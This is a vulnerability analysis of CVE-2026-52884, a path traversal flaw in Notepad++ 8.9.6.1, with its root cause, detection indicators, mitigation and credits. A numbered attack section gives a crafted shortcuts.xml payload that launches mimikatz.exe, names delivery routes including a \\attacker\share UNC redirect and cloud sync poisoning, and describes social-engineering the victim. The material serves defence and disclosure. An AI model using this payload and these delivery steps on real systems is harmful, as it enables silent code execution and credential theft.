CVE-2026-52884: 
Notepad++ vulnerability analysis and mitigation

CVE-2026-52884 is a path traversal vulnerability in Notepad++ v8.9.6.1 that bypasses the security fix introduced for CVE-2026-48800. The flaw exists in the isInTrustedDirectory() function, which fails to canonicalize paths before performing prefix-based validation, allowing attackers to craft paths using ..\..\ sequences that pass the trusted directory check while resolving to untrusted locations. Only Notepad++ version 8.9.6.1 is confirmed affected; the issue is fixed in v8.9.6.2. It carries a CVSS v3.1 base score of 7.8 (High) (GitHub Advisory).

The root cause is classified as CWE-42 (Path Equivalence) — the isInTrustedDirectory() function in RunDlg.cpp uses PathIsPrefix() to check whether an executable path begins with a trusted directory string (e.g., C:\Windows\System32\) without first resolving path traversal components via PathCanonicalize() or GetFullPathNameW(). This means a path like C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\malware.exe passes the prefix check but resolves to an untrusted user-controlled location. A secondary bypass vector exists because trusted system executables such as cmd.exe and powershell.exe can be used as launchers to execute arbitrary commands without triggering any security warning. The attack requires local access and user interaction (e.g., triggering a configured shortcut), and the malicious command is delivered via a crafted shortcuts.xml file (GitHub Advisory, Patch Commit).

Successful exploitation results in arbitrary code execution with the privileges of the Notepad++ process, without displaying any security warning to the user. An attacker can achieve full confidentiality, integrity, and availability compromise on the affected system. The attack can be chained with other techniques such as cloud sync poisoning (e.g., via OneDrive or Dropbox) or UNC path redirection using the -settingsDir= command-line argument to load a malicious shortcuts.xml from an attacker-controlled share, broadening the potential attack surface beyond direct local access (GitHub Advisory).

1. Prepare malicious shortcuts.xml: Craft a shortcuts.xml file containing a path traversal payload, e.g., <Command name="Run" Ctrl="yes" Alt="yes" Shift="no" Key="112">C:\Windows\System32\..\..\Users\[USERNAME]\Downloads\mimikatz.exe</Command>, where the path starts with a trusted directory prefix but traverses to an attacker-controlled executable.
2. Deliver the malicious config (choose one attack vector):
   • Direct write: If running under the same user account, write the malicious shortcuts.xml to %APPDATA%\Notepad++\shortcuts.xml.
   • -settingsDir= redirect: Create a malicious .lnk shortcut that launches notepad++.exe -settingsDir=\\attacker\share\config, where the remote share hosts the crafted shortcuts.xml.
   • Cloud sync poisoning: Compromise the user's synced cloud storage (OneDrive, Dropbox) and inject the malicious shortcuts.xml into the synced Notepad++ config directory.
3. Trigger execution: Wait for or social-engineer the victim into pressing the configured keyboard shortcut (e.g., Alt+F1) or using the Run menu in Notepad++. The Command::run() function calls isInTrustedDirectory(), which incorrectly validates the traversal path as trusted.
4. Achieve code execution: The malicious executable (e.g., mimikatz.exe) runs silently without any security warning dialog, with the privileges of the Notepad++ process (GitHub Advisory).

• File System: Unexpected or recently modified %APPDATA%\Notepad++\shortcuts.xml containing paths with ..\..\ traversal sequences or references to executables outside standard Notepad++ directories; presence of unusual executables in user download or temp directories referenced in shortcuts.xml.
• Process: Unexpected child processes spawned by notepad++.exe, such as mimikatz.exe, cmd.exe /c <payload>, powershell.exe with encoded commands, or other non-editor executables; cmd.exe or powershell.exe launched as children of notepad++.exe with suspicious arguments.
• Network: Outbound SMB connections from the Notepad++ process to external UNC paths (e.g., \\attacker\share\) indicating -settingsDir= redirect attacks; unexpected DNS lookups or connections to attacker-controlled infrastructure initiated by Notepad++ child processes.
• Logs: Windows Event Log (Security) entries showing process creation events (Event ID 4688) with notepad++.exe as the parent and unexpected executables as children; file modification events on shortcuts.xml by processes other than notepad++.exe itself (GitHub Advisory).

Upgrade Notepad++ to version 8.9.6.2 or later, which implements HMAC-based integrity verification of shortcuts.xml before executing any configured command, fully addressing the bypass (Patch Commit). As a temporary workaround, restrict write access to %APPDATA%\Notepad++\shortcuts.xml for untrusted processes, and avoid using the -settingsDir= argument with untrusted or network-based paths. Organizations using cloud sync for Notepad++ configuration directories should audit synced files for unexpected path traversal patterns in shortcuts.xml.

The vulnerability was published by Notepad++ maintainer donho via a GitHub Security Advisory on May 31, 2026, crediting researchers Michele Piccinni, Trung Nguyen, Noman Nasir Minhas, and Vibhum Dubey for discovery (GitHub Advisory). The issue received coverage from automated vulnerability tracking services including Tenable, VulnDB, and CVEFeed shortly after NVD publication. Community discussion was noted on Bluesky and CVE tracking feeds, though no major independent security researcher commentary or media coverage has been identified beyond standard vulnerability aggregation.